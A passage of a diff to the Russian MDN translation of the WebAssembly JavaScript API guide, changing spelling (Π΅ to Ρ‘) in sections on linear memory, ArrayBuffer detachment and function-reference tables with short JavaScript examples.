β€œΠΎΡ‚ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹ΠΌΠΈβ€, ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΎΡ‚ Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠΉ памяти, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½ΠΈ Ρ€Π°Π½Π΅Π΅ ΠΎΡ‚Π½ΠΎΡΠΈΠ»ΠΈΡΡŒ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Π°ΠΊ ΠΊΠ°ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("ArrayBuffer")}} Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π΅Π½, послС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{jsxref("Memory.prototype.grow()")}} свойство buffer ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° памяти Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΡƒΠΆΠ΅ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("ArrayBuffer")}} (с Π½ΠΎΠ²Ρ‹ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ Π² свойствС byteLength) ΠΈ Π»ΡŽΠ±Ρ‹Π΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ArrayBuffer станут Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€ΠΎΠ΄Π΅ β€œΠΎΡ‚ΡΠΎΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹ΠΌΠΈβ€, ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΠΎΡ‚ Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠΉ памяти, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½ΠΈ Ρ€Π°Π½Π΅Π΅ ΠΎΡ‚Π½ΠΎΡΠΈΠ»ΠΈΡΡŒ.</p>
</div>
<p>Подобно функциям, Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Ρ‹ Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ модуля. Π’Π°ΠΊΠΆΠ΅, ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΈΠΌΠ΅Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свою ΠΏΠ°ΠΌΡΡ‚ΡŒ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ JavaScript-ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ памяти WebAssembly Π»ΠΈΠ±ΠΎ c ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ создания Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‡Π΅Ρ€Π΅Π· конструктор <code>WebAssembly.Memory</code> ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΅Π³ΠΎ Π² ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π»ΠΈΠ±ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ получСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° памяти Ρ‡Π΅Ρ€Π΅Π· экспортируСмый ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (Ρ‡Π΅Ρ€Π΅Π· <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports">Instance.prototype.exports</a></code>).</p>
@@ -151,7 +151,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
});</pre>
</li>
<li>
- <p>Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ экспортируСт свою ΠΏΠ°ΠΌΡΡ‚ΡŒ, которая Π±Ρ‹Π»Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π° экзСмпляру этого модуля ΠΏΡ€ΠΈ Π΅Π³ΠΎ создании, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Ρ€Π°Π½Π΅Π΅ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив прямо Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти экзСмпляра модуля (<code>mem</code>), ΠΈ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>accumulate()</code> для расчСта суммы Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄, Π² ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½Π½ΠΎΠΌ мСстС:Β </p>
+ <p>Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ экспортируСт свою ΠΏΠ°ΠΌΡΡ‚ΡŒ, которая Π±Ρ‹Π»Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π° экзСмпляру этого модуля ΠΏΡ€ΠΈ Π΅Π³ΠΎ создании, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Ρ€Π°Π½Π΅Π΅ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив прямо Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти экзСмпляра модуля (<code>mem</code>), ΠΈ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>accumulate()</code> для расчёта суммы Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄, Π² ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½Π½ΠΎΠΌ мСстС:Β </p>
<pre class="brush: js">var i32 = new Uint32Array(memory.buffer);
@@ -164,7 +164,7 @@ console.log(sum);</pre>
</li>
</ol>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ создаСм прСдставлСниС Π΄Π°Π½Π½Ρ‹Ρ… {{domxref("Uint32Array")}} с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства buffer ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° памяти (<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer">Memory.prototype.buffer</a></code>), Π° Π½Π΅ самого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° памяти.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ создаём прСдставлСниС Π΄Π°Π½Π½Ρ‹Ρ… {{domxref("Uint32Array")}} с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства buffer ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° памяти (<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer">Memory.prototype.buffer</a></code>), Π° Π½Π΅ самого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° памяти.</p>
<p>Π˜ΠΌΠΏΠΎΡ€Ρ‚ памяти ΠΏΠΎΡ‡Ρ‚ΠΈ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈΠΌΠΏΠΎΡ€Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ вмСсто JavaScript Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ памяти. Π˜ΠΌΠΏΠΎΡ€Ρ‚ памяти ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΠΏΠΎ Π΄Π²ΡƒΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ:</p>
@@ -174,14 +174,14 @@ console.log(sum);</pre>
</ul>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠΎΠ»Π½ΡƒΡŽ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ Π² Ρ„Π°ΠΉΠ»Π΅ <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html">memory.html</a> (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/memory.html">см. Π΅Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΆΠΈΠ²ΡƒΡŽ</a>) — эта вСрсия ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">fetchAndInstantiate()</a></code>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠΎΠ»Π½ΡƒΡŽ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ Π² Ρ„Π°ΠΉΠ»Π΅ <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html">memory.html</a> (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/memory.html">см. Π΅Ρ‘ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΆΠΈΠ²ΡƒΡŽ</a>) — эта вСрсия ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">fetchAndInstantiate()</a></code>.</p>
</div>
<h2 id="Π’Π°Π±Π»ΠΈΡ†Ρ‹">Π’Π°Π±Π»ΠΈΡ†Ρ‹</h2>
-<p>Π’Π°Π±Π»ΠΈΡ†Π° WebAssembly - это Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив <a href="https://en.wikipedia.org/wiki/Reference_(computer_science)">ссылок</a>, доступ ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΈΠ· JavaScript ΠΈ WebAssembly ΠΊΠΎΠ΄Π°. Π’Π°ΠΊ ΠΊΠ°ΠΊ линСйная ΠΏΠ°ΠΌΡΡ‚ΡŒ прСдоставляСт Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ массив Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹Ρ… Π±Π°ΠΉΡ‚, слишком нСбСзопасно Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Ρ‚Π°ΠΌ ссылки, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ для Π΄Π²ΠΈΠΆΠΊΠ° ссылка являСтся Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, Ρ‡ΡŒΠΈ Π±Π°ΠΉΡ‚Ρ‹ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½Ρ‹ ΠΈΠ»ΠΈ записаны ΠΊΠΎΠ΄ΠΎΠΌ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ бСзопасности, пСрСносимости ΠΈ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</p>
+<p>Π’Π°Π±Π»ΠΈΡ†Π° WebAssembly - это Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив <a href="https://en.wikipedia.org/wiki/Reference_(computer_science)">ссылок</a>, доступ ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΈΠ· JavaScript ΠΈ WebAssembly ΠΊΠΎΠ΄Π°. Π’Π°ΠΊ ΠΊΠ°ΠΊ линСйная ΠΏΠ°ΠΌΡΡ‚ΡŒ прСдоставляСт Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ массив Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹Ρ… Π±Π°ΠΉΡ‚, слишком нСбСзопасно Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Ρ‚Π°ΠΌ ссылки, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ для Π΄Π²ΠΈΠΆΠΊΠ° ссылка являСтся Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, Ρ‡ΡŒΠΈ Π±Π°ΠΉΡ‚Ρ‹ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½Ρ‹ ΠΈΠ»ΠΈ записаны ΠΊΠΎΠ΄ΠΎΠΌ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ бСзопасности, пСрСносимости ΠΈ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</p>
-<p>Π£ Ρ‚Π°Π±Π»ΠΈΡ† Π΅ΡΡ‚ΡŒ Ρ‚ΠΈΠΏ элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΈΠΏ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉ ссылки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅. Π’ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ вСрсии WebAssembly, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ‚ΠΈΠΏ ссылки ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² WebAssembly ΠΊΠΎΠ΄Π΅ - Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ - ΠΈ поэтому сущСствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΉ Ρ‚ΠΈΠΏ элСмСнта. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… вСрсиях ΠΈΡ… количСство Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΎ.</p>
+<p>Π£ Ρ‚Π°Π±Π»ΠΈΡ† Π΅ΡΡ‚ΡŒ Ρ‚ΠΈΠΏ элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΈΠΏ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉ ссылки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅. Π’ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ вСрсии WebAssembly, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ‚ΠΈΠΏ ссылки ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² WebAssembly ΠΊΠΎΠ΄Π΅ - Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ - ΠΈ поэтому сущСствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΉ Ρ‚ΠΈΠΏ элСмСнта. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… вСрсиях ΠΈΡ… количСство Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΎ.</p>
<p>Бсылки Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ для компиляции Π² Ρ‚Π°ΠΊΠΈΡ… языках ΠΊΠ°ΠΊ C/C++, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΠΈ Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’ Ρ€ΠΎΠ΄Π½ΠΎΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ C/C++, ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ прСдставлСн прямым адрСсом Π½Π° ΠΊΠΎΠ΄ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΌ адрСсном пространствС процСсса, ΠΈ ΠΏΠΎΡ‚ΠΎΠΌΡƒ для Ρ€Π°Π½Π΅Π΅ упомянутой бСзопасности, ΠΎΠ½ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ прямо Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти. ВмСсто этого ссылки Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅, Π° Π΅Ρ‘ индСксы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ†Π΅Π»Ρ‹ΠΌΠΈ числами ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ ΠΊΡƒΠ΄Π° ΡƒΠ³ΠΎΠ΄Π½ΠΎ.</p>
@@ -191,7 +191,7 @@ console.log(sum);</pre>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹</h3>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ - ΠΌΠΎΠ΄ΡƒΠ»ΡŒ WebAssembly, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт ΠΈ экспортируСт Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ с двумя элСмСнтами: элСмСнт ΠΏΠΎΠ΄ индСксом 0 Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 13, Π° элСмСнт ΠΏΠΎΠ΄ индСксом 1 Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 42.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ - ΠΌΠΎΠ΄ΡƒΠ»ΡŒ WebAssembly, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт ΠΈ экспортируСт Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ с двумя элСмСнтами: элСмСнт ΠΏΠΎΠ΄ индСксом 0 Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 13, Π° элСмСнт ΠΏΠΎΠ΄ индСксом 1 Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 42.</p>
<ol>
<li>
@@ -224,7 +224,7 @@ console.log(tbl.get(1)());Β  // 42</pre>
<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ доступ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ссылкС Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π° Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅, послС Ρ‡Π΅Π³ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Π΅Ρ‘ ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Ρ…Ρ€Π°Π½ΠΈΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² консоль. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ каТдая ссылка Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get">Table.prototype.get()</a></code>, послС Ρ‡Π΅Π³ΠΎ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΏΠ°Ρ€Ρƒ ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобок для Π²Ρ‹Π·ΠΎΠ²Π° самой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π½Π°ΡˆΡƒ ΠΏΠΎΠ»Π½ΡƒΡŽ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ Π² Ρ„Π°ΠΉΠ»Π΅ <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.html">table.html</a> (см. Π΅Π΅ Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table.html">Π²ΠΆΠΈΠ²ΡƒΡŽ</a>) β€” эта вСрсия ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">fetchAndInstantiate()</a></code>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π½Π°ΡˆΡƒ ΠΏΠΎΠ»Π½ΡƒΡŽ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ Π² Ρ„Π°ΠΉΠ»Π΅ <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.html">table.html</a> (см. Π΅Ρ‘ Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table.html">Π²ΠΆΠΈΠ²ΡƒΡŽ</a>) β€” эта вСрсия ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">fetchAndInstantiate()</a></code>.</p>
</div>
<h2 id="Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Π΅_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅">Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅</h2>